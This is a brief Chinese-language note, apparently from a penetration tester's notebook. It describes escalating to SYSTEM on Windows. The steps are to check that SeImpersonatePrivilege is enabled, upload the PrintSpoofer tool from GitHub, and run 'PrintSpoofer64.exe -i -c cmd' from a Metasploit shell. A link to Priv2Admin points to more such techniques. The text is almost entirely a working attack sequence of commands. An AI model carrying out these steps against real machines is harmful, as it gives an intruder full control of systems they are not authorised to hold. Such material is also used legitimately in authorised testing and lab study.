>whoami /priv 可以看到SeImpersonatePrivilege状态为Enabled 上传https://github.com/itm4n/PrintSpoofer/releases 用msf交互式shell执行 >PrintSpoofer64.exe -i -c cmd >whoami 即可获得system权限 更多 https://github.com/gtworek/Priv2Admin